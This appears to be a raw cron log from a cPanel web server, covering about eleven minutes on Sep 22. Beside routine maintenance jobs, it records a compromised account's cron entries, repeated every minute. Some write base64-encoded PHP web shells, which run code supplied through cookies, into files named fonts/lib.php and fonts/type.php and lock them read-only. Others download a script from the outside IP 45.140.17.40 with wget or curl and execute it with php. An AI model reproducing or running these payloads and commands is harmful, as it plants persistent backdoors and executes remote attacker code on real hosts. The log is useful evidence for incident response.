Sep 22 12:55:01 ip-184-168-122-23 CROND[15037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:55:01 ip-184-168-122-23 CROND[15039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:55:01 ip-184-168-122-23 CROND[15042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:55:01 ip-184-168-122-23 CROND[15041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:55:01 ip-184-168-122-23 CROND[15044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:55:01 ip-184-168-122-23 CROND[15046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:56:01 ip-184-168-122-23 CROND[15728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:56:01 ip-184-168-122-23 CROND[15729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:56:01 ip-184-168-122-23 CROND[15732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:56:01 ip-184-168-122-23 CROND[15733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:56:01 ip-184-168-122-23 CROND[15734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:57:01 ip-184-168-122-23 CROND[16351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:57:02 ip-184-168-122-23 CROND[16353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:57:02 ip-184-168-122-23 CROND[16356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:57:02 ip-184-168-122-23 CROND[16358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:58:01 ip-184-168-122-23 CROND[17065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:58:01 ip-184-168-122-23 CROND[17066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:58:01 ip-184-168-122-23 CROND[17068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:58:02 ip-184-168-122-23 CROND[17069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:58:02 ip-184-168-122-23 CROND[17071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:59:02 ip-184-168-122-23 CROND[17979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:59:02 ip-184-168-122-23 CROND[17980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:59:02 ip-184-168-122-23 CROND[17981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:59:02 ip-184-168-122-23 CROND[17982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:00:01 ip-184-168-122-23 CROND[18761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:00:01 ip-184-168-122-23 CROND[18759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 13:00:01 ip-184-168-122-23 CROND[18763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:00:01 ip-184-168-122-23 CROND[18765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:00:01 ip-184-168-122-23 CROND[18770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:00:01 ip-184-168-122-23 CROND[18771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:00:01 ip-184-168-122-23 CROND[18774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:00:01 ip-184-168-122-23 CROND[18773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:01:01 ip-184-168-122-23 CROND[19580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:01:01 ip-184-168-122-23 CROND[19581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:01:01 ip-184-168-122-23 CROND[19584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:01:01 ip-184-168-122-23 CROND[19586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:01:01 ip-184-168-122-23 CROND[19587]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 13:01:01 ip-184-168-122-23 CROND[19588]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19587]: starting 0anacron
Sep 22 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19604]: finished 0anacron
Sep 22 13:02:01 ip-184-168-122-23 CROND[20383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:02:02 ip-184-168-122-23 CROND[20386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:02:02 ip-184-168-122-23 CROND[20389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:02:02 ip-184-168-122-23 CROND[20394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:02:02 ip-184-168-122-23 CROND[20396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:03:01 ip-184-168-122-23 CROND[21166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:03:01 ip-184-168-122-23 CROND[21168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:03:01 ip-184-168-122-23 CROND[21170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:03:01 ip-184-168-122-23 CROND[21171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:04:01 ip-184-168-122-23 CROND[21944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:04:01 ip-184-168-122-23 CROND[21945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:04:01 ip-184-168-122-23 CROND[21948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:04:01 ip-184-168-122-23 CROND[21950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:04:01 ip-184-168-122-23 CROND[21951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:05:01 ip-184-168-122-23 CROND[22722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:05:01 ip-184-168-122-23 CROND[22726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:05:01 ip-184-168-122-23 CROND[22728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:05:01 ip-184-168-122-23 CROND[22729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:05:01 ip-184-168-122-23 CROND[22725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:05:01 ip-184-168-122-23 CROND[22727]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 13:05:01 ip-184-168-122-23 CROND[22730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:06:01 ip-184-168-122-23 CROND[23386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:06:01 ip-184-168-122-23 CROND[23387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:06:01 ip-184-168-122-23 CROND[23390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:06:01 ip-184-168-122-23 CROND[23392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:06:01 ip-184-168-122-23 CROND[23391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
